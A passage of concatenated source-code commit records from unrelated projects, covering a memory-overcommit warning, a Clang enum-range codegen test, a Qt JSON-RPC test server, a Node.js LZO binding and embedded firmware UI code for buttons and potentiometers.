<< "'. It is recommended to set it to a value of 0 or 2";
LOG_TOPIC(WARN, Logger::MEMORY) << "execute 'sudo bash -c \"echo 2 > "
<< "/proc/sys/vm/overcommit_memory\"'";
}
}
if (v == 2) {
struct sysinfo info;
int res = sysinfo(&info);
if (res == 0) {
double swapSpace = static_cast<double>(info.totalswap);
double ram = static_cast<double>(TRI_PhysicalMemory);
double rr = (ram >= swapSpace)
? 100.0 * ((ram - swapSpace) / ram)
: 0.0;
if (static_cast<double>(r) > 1.05 * rr ||
static_cast<double>(r) < 0.95 * r) {
LOG_TOPIC(WARN, Logger::MEMORY)
<< "/proc/sys/vm/overcommit_ratio is set to '" << r
<< "'. It is recommended to set it to " << static_cast<size_t>(rr)
<< " (100 * (max(0, (RAM - Swap Space)) / RAM)).";
LOG_TOPIC(WARN, Logger::MEMORY) << "execute 'sudo bash -c \"echo "
<< rr << " > "
<< "/proc/sys/vm/overcommit_ratio\"'";
}
}
}
} catch (...) {
// file not found or value not convertible into integer
}
#endif
}
<|endoftext|>
|
<commit_before><commit_msg>Set STATE_CLOSE when error occured.<commit_after><|endoftext|>
|
<commit_before>// RUN: %clang_cc1 %s -triple i386-unknown-unknown -emit-llvm -O1 -relaxed-aliasing -fstrict-enums -std=c++11 -o - | FileCheck %s
// RUN: %clang_cc1 %s -triple i386-unknown-unknown -emit-llvm -O1 -relaxed-aliasing -std=c++11 -o - | FileCheck --check-prefix=NO-STRICT-ENUMS %s
bool f(bool *x) {
return *x;
}
// CHECK-LABEL: define zeroext i1 @_Z1fPb
// CHECK: load i8* %{{[^ ]*}}, align 1, !range [[RANGE_i8_0_2:![^ ]*]]
// Only enum-tests follow. Ensure that after the bool test, no further range
// metadata shows up when strict enums are disabled.
// NO-STRICT-ENUMS-LABEL: define zeroext i1 @_Z1fPb
// NO-STRICT-ENUMS: load i8* %{{[^ ]*}}, align 1, !range
// NO-STRICT-ENUMS-NOT: !range
enum e1 { };
e1 g1(e1 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g1P2e1
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_0_1:![^ ]*]]
enum e2 { e2_a = 0 };
e2 g2(e2 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g2P2e2
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_0_1]]
enum e3 { e3_a = 16 };
e3 g3(e3 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g3P2e3
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_0_32:![^ ]*]]
enum e4 { e4_a = -16};
e4 g4(e4 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g4P2e4
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m16_16:![^ ]*]]
enum e5 { e5_a = -16, e5_b = 16};
e5 g5(e5 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g5P2e5
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m32_32:![^ ]*]]
enum e6 { e6_a = -1 };
e6 g6(e6 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g6P2e6
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m1_1:![^ ]*]]
enum e7 { e7_a = -16, e7_b = 2};
e7 g7(e7 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g7P2e7
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m16_16]]
enum e8 { e8_a = -17};
e8 g8(e8 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g8P2e8
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m32_32:![^ ]*]]
enum e9 { e9_a = 17};
e9 g9(e9 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g9P2e9
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_0_32]]
enum e10 { e10_a = -16, e10_b = 32};
e10 g10(e10 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z3g10P3e10
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m64_64:![^ ]*]]
enum e11 {e11_a = 4294967296 };
enum e11 g11(enum e11 *x) {
return *x;
}
// CHECK-LABEL: define i64 @_Z3g11P3e11
// CHECK: load i64* %x, align {{[84]}}, !range [[RANGE_i64_0_2pow33:![^ ]*]]
enum e12 {e12_a = 9223372036854775808U };
enum e12 g12(enum e12 *x) {
return *x;
}
// CHECK-LABEL: define i64 @_Z3g12P3e12
// CHECK: load i64* %x, align {{[84]}}
// CHECK-NOT: range
// CHECK: ret
enum e13 : char {e13_a = -1 };
e13 g13(e13 *x) {
return *x;
}
// CHECK-LABEL: define signext i8 @_Z3g13P3e13
// CHECK: load i8* %x, align 1
// CHECK-NOT: range
// CHECK: ret
enum class e14 {e14_a = 1};
e14 g14(e14 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z3g14P3e14
// CHECK: load i32* %x, align 4
// CHECK-NOT: range
// CHECK: ret
enum e15 { e15_a = 2147483648 };
e15 g15(e15 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z3g15P3e15
// CHECK: load i32* %x, align 4
// CHECK-NOT: range
// CHECK: ret
enum e16 { e16_a = -2147483648 };
e16 g16(e16 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z3g16P3e16
// CHECK: load i32* %x, align 4
// CHECK-NOT: range
// CHECK: ret
// CHECK: [[RANGE_i8_0_2]] = metadata !{i8 0, i8 2}
// CHECK: [[RANGE_i32_0_1]] = metadata !{i32 0, i32 1}
// CHECK: [[RANGE_i32_0_32]] = metadata !{i32 0, i32 32}
// CHECK: [[RANGE_i32_m16_16]] = metadata !{i32 -16, i32 16}
// CHECK: [[RANGE_i32_m32_32]] = metadata !{i32 -32, i32 32}
// CHECK: [[RANGE_i32_m1_1]] = metadata !{i32 -1, i32 1}
// CHECK: [[RANGE_i32_m64_64]] = metadata !{i32 -64, i32 64}
// CHECK: [[RANGE_i64_0_2pow33]] = metadata !{i64 0, i64 8589934592}
<commit_msg>Adjust test/CodeGenCXX/pr12251.cpp<commit_after>// RUN: %clang_cc1 %s -triple i386-unknown-unknown -emit-llvm -O1 -relaxed-aliasing -fstrict-enums -std=c++11 -o - | FileCheck %s
// RUN: %clang_cc1 %s -triple i386-unknown-unknown -emit-llvm -O1 -relaxed-aliasing -std=c++11 -o - | FileCheck --check-prefix=NO-STRICT-ENUMS %s
bool f(bool *x) {
return *x;
}
// CHECK-LABEL: define zeroext i1 @_Z1fPb
// CHECK: load i8* %{{[^ ]*}}, align 1, !range [[RANGE_i8_0_2:![^ ]*]]
// Only enum-tests follow. Ensure that after the bool test, no further range
// metadata shows up when strict enums are disabled.
// NO-STRICT-ENUMS-LABEL: define zeroext i1 @_Z1fPb
// NO-STRICT-ENUMS: load i8* %{{[^ ]*}}, align 1, !range
// NO-STRICT-ENUMS-NOT: !range
enum e1 { };
e1 g1(e1 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g1P2e1
// CHECK: ret i32 0
enum e2 { e2_a = 0 };
e2 g2(e2 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g2P2e2
// CHECK: ret i32 0
enum e3 { e3_a = 16 };
e3 g3(e3 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g3P2e3
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_0_32:![^ ]*]]
enum e4 { e4_a = -16};
e4 g4(e4 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g4P2e4
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m16_16:![^ ]*]]
enum e5 { e5_a = -16, e5_b = 16};
e5 g5(e5 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g5P2e5
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m32_32:![^ ]*]]
enum e6 { e6_a = -1 };
e6 g6(e6 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g6P2e6
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m1_1:![^ ]*]]
enum e7 { e7_a = -16, e7_b = 2};
e7 g7(e7 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g7P2e7
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m16_16]]
enum e8 { e8_a = -17};
e8 g8(e8 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g8P2e8
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m32_32:![^ ]*]]
enum e9 { e9_a = 17};
e9 g9(e9 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z2g9P2e9
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_0_32]]
enum e10 { e10_a = -16, e10_b = 32};
e10 g10(e10 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z3g10P3e10
// CHECK: load i32* %x, align 4, !range [[RANGE_i32_m64_64:![^ ]*]]
enum e11 {e11_a = 4294967296 };
enum e11 g11(enum e11 *x) {
return *x;
}
// CHECK-LABEL: define i64 @_Z3g11P3e11
// CHECK: load i64* %x, align {{[84]}}, !range [[RANGE_i64_0_2pow33:![^ ]*]]
enum e12 {e12_a = 9223372036854775808U };
enum e12 g12(enum e12 *x) {
return *x;
}
// CHECK-LABEL: define i64 @_Z3g12P3e12
// CHECK: load i64* %x, align {{[84]}}
// CHECK-NOT: range
// CHECK: ret
enum e13 : char {e13_a = -1 };
e13 g13(e13 *x) {
return *x;
}
// CHECK-LABEL: define signext i8 @_Z3g13P3e13
// CHECK: load i8* %x, align 1
// CHECK-NOT: range
// CHECK: ret
enum class e14 {e14_a = 1};
e14 g14(e14 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z3g14P3e14
// CHECK: load i32* %x, align 4
// CHECK-NOT: range
// CHECK: ret
enum e15 { e15_a = 2147483648 };
e15 g15(e15 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z3g15P3e15
// CHECK: load i32* %x, align 4
// CHECK-NOT: range
// CHECK: ret
enum e16 { e16_a = -2147483648 };
e16 g16(e16 *x) {
return *x;
}
// CHECK-LABEL: define i32 @_Z3g16P3e16
// CHECK: load i32* %x, align 4
// CHECK-NOT: range
// CHECK: ret
// CHECK: [[RANGE_i8_0_2]] = metadata !{i8 0, i8 2}
// CHECK: [[RANGE_i32_0_32]] = metadata !{i32 0, i32 32}
// CHECK: [[RANGE_i32_m16_16]] = metadata !{i32 -16, i32 16}
// CHECK: [[RANGE_i32_m32_32]] = metadata !{i32 -32, i32 32}
// CHECK: [[RANGE_i32_m1_1]] = metadata !{i32 -1, i32 1}
// CHECK: [[RANGE_i32_m64_64]] = metadata !{i32 -64, i32 64}
// CHECK: [[RANGE_i64_0_2pow33]] = metadata !{i64 0, i64 8589934592}
<|endoftext|>
|
<commit_before>#include <QCoreApplication>
#include <QDesktopServices>
#include <QLocalServer>
#include <QFile>
#include "testservice.h"
int main(int argc, char **argv)
{
QCoreApplication app(argc, argv);
QString serviceName;
#if defined(Q_OS_WIN)
QDir tempDirectory(QDesktopServices::storageLocation(QDesktopServices::TempLocation));
serviceName = tempDirectory.absoluteFilePath("testservice");
#else
serviceName = "/tmp/testservice";
#endif
if (QFile::exists(serviceName)) {
if (!QFile::remove(serviceName)) {
qDebug() << "couldn't delete temporary service";
return -1;
}
}
TestService service;
QJsonRpcLocalServiceProvider rpcServer;
rpcServer.addService(&service);
if (!rpcServer.listen(serviceName)) {
qDebug() << "could not start server: " << rpcServer.errorString();
return -1;
}
return app.exec();
}
<commit_msg>fix build on windows<commit_after>#include <QCoreApplication>
#include <QDesktopServices>
#include <QLocalServer>
#include <QFile>
#include <QDir>
#include "testservice.h"
int main(int argc, char **argv)
{
QCoreApplication app(argc, argv);
QString serviceName;
#if defined(Q_OS_WIN)
QDir tempDirectory(QDesktopServices::storageLocation(QDesktopServices::TempLocation));
serviceName = tempDirectory.absoluteFilePath("testservice");
#else
serviceName = "/tmp/testservice";
#endif
if (QFile::exists(serviceName)) {
if (!QFile::remove(serviceName)) {
qDebug() << "couldn't delete temporary service";
return -1;
}
}
TestService service;
QJsonRpcLocalServiceProvider rpcServer;
rpcServer.addService(&service);
if (!rpcServer.listen(serviceName)) {
qDebug() << "could not start server: " << rpcServer.errorString();
return -1;
}
return app.exec();
}
<|endoftext|>
|
<commit_before>#include "minilzo209/minilzo.h"
#include <node.h>
#include <v8.h>
#include <sstream>
#include <node_buffer.h>
using namespace v8;
int compress(const unsigned char *input, unsigned char *output, lzo_uint in_len, lzo_uint& out_len) {
char* wrkmem = (char*) malloc(LZO1X_1_MEM_COMPRESS);
int result = lzo1x_1_compress(input, in_len, output, &out_len, wrkmem);
free(wrkmem);
return result;
}
lzo_uint decompress(const unsigned char *input, unsigned char *output, lzo_uint in_len, lzo_uint& out_len) {
int r = lzo1x_decompress_safe(input, in_len, output, &out_len, NULL);
if (r == LZO_E_OK)
return out_len;
else
return r;
}
void js_compress(const v8::FunctionCallbackInfo<Value>& args) {
Isolate* isolate = args.GetIsolate();
HandleScope scope(isolate);
Handle<Object> inputBuffer = args[0]->ToObject();
Handle<Object> outputBuffer = args[1]->ToObject();
lzo_uint input_len = node::Buffer::Length(inputBuffer);
lzo_uint output_len = node::Buffer::Length(outputBuffer);
int result = compress( (unsigned char *) node::Buffer::Data(inputBuffer),
(unsigned char *) node::Buffer::Data(outputBuffer),
input_len,
output_len );
Local<Object> ret = Object::New(isolate);
ret->Set(String::NewFromUtf8(isolate, "err"),
Number::New(isolate, result));
ret->Set(String::NewFromUtf8(isolate, "len"),
Number::New(isolate, (int) output_len) );
args.GetReturnValue().Set(ret);
}
void js_decompress(const v8::FunctionCallbackInfo<Value>& args) {
Isolate* isolate = args.GetIsolate();
HandleScope scope(isolate);
Handle<Object> inputBuffer = args[0]->ToObject();
Handle<Object> outputBuffer = args[1]->ToObject();
lzo_uint input_len = node::Buffer::Length(inputBuffer);
lzo_uint output_len = node::Buffer::Length(outputBuffer);
lzo_uint len = decompress( (unsigned char *) node::Buffer::Data(inputBuffer),
(unsigned char *) node::Buffer::Data(outputBuffer),
input_len,
output_len);
int err = (int) len < 0 ? (int) len : 0;
Local<Object> ret = Object::New(isolate);
ret->Set(String::NewFromUtf8(isolate, "err"),
Number::New(isolate, err));
ret->Set(String::NewFromUtf8(isolate, "len"),
Number::New(isolate, (int) len) );
args.GetReturnValue().Set(ret);
}
void Init(Local<Object> exports, Local<Context> context) {
Isolate* isolate = context->GetIsolate();
int init_result = lzo_init();
if(init_result != LZO_E_OK) {
std::stringstream ss;
ss << "lzo_init() failed and returned `" << init_result << "`. ";
ss << "Please report this on GitHub: https://github.com/schroffl/node-lzo/issues";
Local<String> err = String::NewFromUtf8(isolate, ss.str().c_str());
isolate->ThrowException(Exception::Error(err));
return;
}
// Compression
exports->Set(String::NewFromUtf8(isolate, "compress"),
FunctionTemplate::New(isolate, js_compress)->GetFunction());
// Decompression
exports->Set(String::NewFromUtf8(isolate, "decompress"),
FunctionTemplate::New(isolate, js_decompress)->GetFunction());
// Current lzo version
exports->Set(String::NewFromUtf8(isolate, "version"),
String::NewFromUtf8(isolate, lzo_version_string()));
// Date for current lzo version
exports->Set(String::NewFromUtf8(isolate, "versionDate"),
String::NewFromUtf8(isolate, lzo_version_date()));
}
#if NODE_MAJOR_VERSION >= 10
// Initialize this addon to be context-aware. See Issue #11
NODE_MODULE_INIT(/* exports, module, context */) {
Init(exports, context);
}
#else
// For backwards compatibility. See Issue #13
NODE_MODULE(node_lzo, Init)
#endif
<commit_msg>Fix #13 - Tighten version constraint from the previous fix<commit_after>#include "minilzo209/minilzo.h"
#include <node.h>
#include <v8.h>
#include <sstream>
#include <node_buffer.h>
using namespace v8;
int compress(const unsigned char *input, unsigned char *output, lzo_uint in_len, lzo_uint& out_len) {
char* wrkmem = (char*) malloc(LZO1X_1_MEM_COMPRESS);
int result = lzo1x_1_compress(input, in_len, output, &out_len, wrkmem);
free(wrkmem);
return result;
}
lzo_uint decompress(const unsigned char *input, unsigned char *output, lzo_uint in_len, lzo_uint& out_len) {
int r = lzo1x_decompress_safe(input, in_len, output, &out_len, NULL);
if (r == LZO_E_OK)
return out_len;
else
return r;
}
void js_compress(const v8::FunctionCallbackInfo<Value>& args) {
Isolate* isolate = args.GetIsolate();
HandleScope scope(isolate);
Handle<Object> inputBuffer = args[0]->ToObject();
Handle<Object> outputBuffer = args[1]->ToObject();
lzo_uint input_len = node::Buffer::Length(inputBuffer);
lzo_uint output_len = node::Buffer::Length(outputBuffer);
int result = compress( (unsigned char *) node::Buffer::Data(inputBuffer),
(unsigned char *) node::Buffer::Data(outputBuffer),
input_len,
output_len );
Local<Object> ret = Object::New(isolate);
ret->Set(String::NewFromUtf8(isolate, "err"),
Number::New(isolate, result));
ret->Set(String::NewFromUtf8(isolate, "len"),
Number::New(isolate, (int) output_len) );
args.GetReturnValue().Set(ret);
}
void js_decompress(const v8::FunctionCallbackInfo<Value>& args) {
Isolate* isolate = args.GetIsolate();
HandleScope scope(isolate);
Handle<Object> inputBuffer = args[0]->ToObject();
Handle<Object> outputBuffer = args[1]->ToObject();
lzo_uint input_len = node::Buffer::Length(inputBuffer);
lzo_uint output_len = node::Buffer::Length(outputBuffer);
lzo_uint len = decompress( (unsigned char *) node::Buffer::Data(inputBuffer),
(unsigned char *) node::Buffer::Data(outputBuffer),
input_len,
output_len);
int err = (int) len < 0 ? (int) len : 0;
Local<Object> ret = Object::New(isolate);
ret->Set(String::NewFromUtf8(isolate, "err"),
Number::New(isolate, err));
ret->Set(String::NewFromUtf8(isolate, "len"),
Number::New(isolate, (int) len) );
args.GetReturnValue().Set(ret);
}
void Init(Local<Object> exports, Local<Context> context) {
Isolate* isolate = context->GetIsolate();
int init_result = lzo_init();
if(init_result != LZO_E_OK) {
std::stringstream ss;
ss << "lzo_init() failed and returned `" << init_result << "`. ";
ss << "Please report this on GitHub: https://github.com/schroffl/node-lzo/issues";
Local<String> err = String::NewFromUtf8(isolate, ss.str().c_str());
isolate->ThrowException(Exception::Error(err));
return;
}
// Compression
exports->Set(String::NewFromUtf8(isolate, "compress"),
FunctionTemplate::New(isolate, js_compress)->GetFunction());
// Decompression
exports->Set(String::NewFromUtf8(isolate, "decompress"),
FunctionTemplate::New(isolate, js_decompress)->GetFunction());
// Current lzo version
exports->Set(String::NewFromUtf8(isolate, "version"),
String::NewFromUtf8(isolate, lzo_version_string()));
// Date for current lzo version
exports->Set(String::NewFromUtf8(isolate, "versionDate"),
String::NewFromUtf8(isolate, lzo_version_date()));
}
#if NODE_MAJOR_VERSION >= 10 && NODE_MINOR_VERSION >= 7
// Initialize this addon to be context-aware. See Issue #11
NODE_MODULE_INIT(/* exports, module, context */) {
Init(exports, context);
}
#else
// For backwards compatibility. See Issue #13
NODE_MODULE(node_lzo, Init)
#endif
<|endoftext|>
|
<commit_before>/*
* Copyright (c) 2017 Immo Software
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* o Redistributions of source code must retain the above copyright notice, this list
* of conditions and the following disclaimer.
*
* o Redistributions in binary form must reproduce the above copyright notice, this
* list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
*
* o Neither the name of the copyright holder nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "ui.h"
#include "debug_log.h"
#include "pin_irq_manager.h"
#include "main.h"
#include "board.h"
#include "utility.h"
#include "fsl_gpio.h"
#include "fsl_port.h"
#include <assert.h>
using namespace slab;
//------------------------------------------------------------------------------
// Definitions
//------------------------------------------------------------------------------
const uint32_t kAdcMax = 65536;
const uint32_t kPotEditHysteresisPercent = 20;
//------------------------------------------------------------------------------
// Variables
//------------------------------------------------------------------------------
//! Pointer to singleton UI instance.
UI * UI::s_ui = NULL;
//------------------------------------------------------------------------------
// Code
//------------------------------------------------------------------------------
Button::Button(PORT_Type * port, GPIO_Type * gpio, uint32_t pin, UIEventSource source)
: _source(source),
_port(port),
_gpio(gpio),
_pin(pin),
_state(false),
_timer()
{
}
void Button::init()
{
_timer.init("debounce", this, &Button::handle_timer, kArOneShotTimer, 20);
UI::get().get_runloop()->addTimer(&_timer);
PinIrqManager::get().connect(_port, _pin, irq_handler_stub, this);
}
bool Button::read()
{
uint32_t value = GPIO_ReadPinInput(_gpio, _pin);
return (value != 0);
}
void Button::handle_irq()
{
PORT_SetPinInterruptConfig(_port, _pin, kPORT_InterruptOrDMADisabled);
if (!_timer.isActive())
{
_timer.start();
}
}
void Button::handle_timer(Ar::Timer * timer)
{
bool value = read();
UIEvent event;
event.event = value ? kButtonUp : kButtonDown;
event.source = _source;
event.value = 0;
UI::get().send_event(event);
PORT_SetPinInterruptConfig(_port, _pin, kPORT_InterruptEitherEdge);
}
void Button::irq_handler_stub(PORT_Type * port, uint32_t pin, void * userData)
{
Button * _this = reinterpret_cast<Button *>(userData);
assert(_this);
_this->handle_irq();
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Pot::Pot()
: _last(0),
_hysteresis(0)
{
}
void Pot::set_hysteresis(uint32_t percent)
{
_hysteresis = kAdcMax * percent / 100;
}
uint32_t Pot::process(uint32_t value)
{
_history.put(value);
value <<= 4; // 12-bit to 16-bit
// Set gain for this channel.
if (value <= kAdcMax)
{
value = _avg.update(value);
uint32_t hysLow = (_last > _hysteresis / 2) ? (_last - _hysteresis / 2) : 0;
uint32_t hysHigh = min(_last + _hysteresis / 2, kAdcMax);
if (value < hysLow || value > hysHigh)
{
_last = value;
_hysteresis = 0;
UI::get().pot_did_change(*this, value);
}
}
return 0;
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
UI::UI()
: _button1(PIN_BUTTON1_PORT, PIN_BUTTON1_GPIO, PIN_BUTTON1_BIT, kButton1),
_button2(PIN_BUTTON2_PORT, PIN_BUTTON2_GPIO, PIN_BUTTON2_BIT, kButton2),
_mode(kPlayMode),
_voiceStates{0},
_editChannel(0)
{
}
void UI::init()
{
s_ui = this;
_thread.init("ui", this, &UI::ui_thread, kUIThreadPriority, kArSuspendThread);
_runloop.init("ui", &_thread);
_eventQueue.init("events");
_runloop.addQueue(&_eventQueue, NULL, NULL);
_blinkTimer.init("blink", this, &UI::handle_blink_timer, kArPeriodicTimer, 20);
_potReleaseTimer.init("pot-release", this, &UI::handle_pot_release_timer, kArOneShotTimer, 20);
_button1.init();
}
void UI::set_leds(LEDBase ** channelLeds, LEDBase * button1Led)
{
_channelLeds = channelLeds;
_button1Led = button1Led;
}
void UI::start()
{
_thread.resume();
}
template <UIMode mode>
void UI::set_mode()
{
uint32_t n;
_mode = mode;
// Switch to edit mode.
if (mode == kEditMode)
{
_button1Led->on();
// Turn off all LEDs.
for (n = 0; n < kVoiceCount; ++n)
{
_channelLeds[n]->off();
}
// Select first channel for edit.
_editChannel = 0;
_channelLeds[0]->on();
}
// Switch to play mode.
else
{
_button1Led->off();
// Restore channel LEDs to play state.
for (n = 0; n < kVoiceCount; ++n)
{
_channelLeds[n]->set(_voiceStates[n]);
}
}
// Set hysteresis on all pots.
for (n = 0; n < kVoiceCount; ++n)
{
_channelPots[n].set_hysteresis(kPotEditHysteresisPercent);
}
}
void UI::ui_thread()
{
while (true)
{
ar_runloop_result_t object;
if (_runloop.run(kArInfiniteTimeout, &object) == kArRunLoopQueueReceived)
{
// _eventQueue is the only queue added to the runloop.
assert(object.m_queue == static_cast<ar_queue_t *>(&_eventQueue));
UIEvent event = _eventQueue.receive();
// uint32_t n;
switch (event.event)
{
case kButtonDown:
break;
case kButtonUp:
switch (event.source)
{
case kButton1:
// Switch to edit mode.
if (_mode == kPlayMode)
{
set_mode<kEditMode>();
}
// Switch to play mode.
else if (_editChannel == (kVoiceCount - 1))
{
set_mode<kPlayMode>();
}
// Select next channel to edit.
else
{
// Update edit LED.
_channelLeds[_editChannel]->off();
_editChannel = (_editChannel + 1) % kVoiceCount;
_channelLeds[_editChannel]->on();
// Set hysteresis on all pots.
uint32_t n;
for (n = 0; n < kVoiceCount; ++n)
{
_channelPots[n].set_hysteresis(kPotEditHysteresisPercent);
}
}
break;
default:
break;
}
break;
case kPotAdjusted:
// n = event.source - kPot1;
break;
default:
break;
}
}
}
}
void UI::set_voice_playing(uint32_t voice, bool state)
{
assert(voice < kVoiceCount);
_voiceStates[voice] = state;
if (_mode == kPlayMode)
{
_channelLeds[voice]->set(state);
}
}
void UI::handle_blink_timer(Ar::Timer * timer)
{
}
void UI::handle_pot_release_timer(Ar::Timer * timer)
{
}
void UI::pot_did_change(Pot& pot, uint32_t value)
{
uint32_t potNumber = pot.n;
float fvalue = float(value) / float(kAdcMax);
// In play mode, the pots control the gain of their corresponding channel.
if (get_mode() == kPlayMode)
{
g_voice[potNumber].set_gain(fvalue);
}
else
{
// In edit mode, each pot controls a different voice parameter of the selected channel.
switch (potNumber)
{
case 0:
// Shift value from 0..1 to 0.1..2.5
fvalue = (fvalue * 2.4f) + 0.1f;
g_voice[_editChannel].set_pitch(fvalue);
break;
case 1:
// 0..1
g_voice[_editChannel].set_sample_start(fvalue);
break;
case 2:
// 0..1
g_voice[_editChannel].set_sample_end(fvalue);
break;
case 3:
break;
}
}
}
//------------------------------------------------------------------------------
// EOF
//------------------------------------------------------------------------------
<commit_msg>Reduced pot edit hysteresis to 5%.<commit_after>/*
* Copyright (c) 2017 Immo Software
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* o Redistributions of source code must retain the above copyright notice, this list
* of conditions and the following disclaimer.
*
* o Redistributions in binary form must reproduce the above copyright notice, this
* list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
*
* o Neither the name of the copyright holder nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "ui.h"
#include "debug_log.h"
#include "pin_irq_manager.h"
#include "main.h"
#include "board.h"
#include "utility.h"
#include "fsl_gpio.h"
#include "fsl_port.h"
#include <assert.h>
using namespace slab;
//------------------------------------------------------------------------------
// Definitions
//------------------------------------------------------------------------------
const uint32_t kAdcMax = 65536;
const uint32_t kPotEditHysteresisPercent = 5;
//------------------------------------------------------------------------------
// Variables
//------------------------------------------------------------------------------
//! Pointer to singleton UI instance.
UI * UI::s_ui = NULL;
//------------------------------------------------------------------------------
// Code
//------------------------------------------------------------------------------
Button::Button(PORT_Type * port, GPIO_Type * gpio, uint32_t pin, UIEventSource source)
: _source(source),
_port(port),
_gpio(gpio),
_pin(pin),
_state(false),
_timer()
{
}
void Button::init()
{
_timer.init("debounce", this, &Button::handle_timer, kArOneShotTimer, 20);
UI::get().get_runloop()->addTimer(&_timer);
PinIrqManager::get().connect(_port, _pin, irq_handler_stub, this);
}
bool Button::read()
{
uint32_t value = GPIO_ReadPinInput(_gpio, _pin);
return (value != 0);
}
void Button::handle_irq()
{
PORT_SetPinInterruptConfig(_port, _pin, kPORT_InterruptOrDMADisabled);
if (!_timer.isActive())
{
_timer.start();
}
}
void Button::handle_timer(Ar::Timer * timer)
{
bool value = read();
UIEvent event;
event.event = value ? kButtonUp : kButtonDown;
event.source = _source;
event.value = 0;
UI::get().send_event(event);
PORT_SetPinInterruptConfig(_port, _pin, kPORT_InterruptEitherEdge);
}
void Button::irq_handler_stub(PORT_Type * port, uint32_t pin, void * userData)
{
Button * _this = reinterpret_cast<Button *>(userData);
assert(_this);
_this->handle_irq();
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Pot::Pot()
: _last(0),
_hysteresis(0)
{
}
void Pot::set_hysteresis(uint32_t percent)
{
_hysteresis = kAdcMax * percent / 100;
}
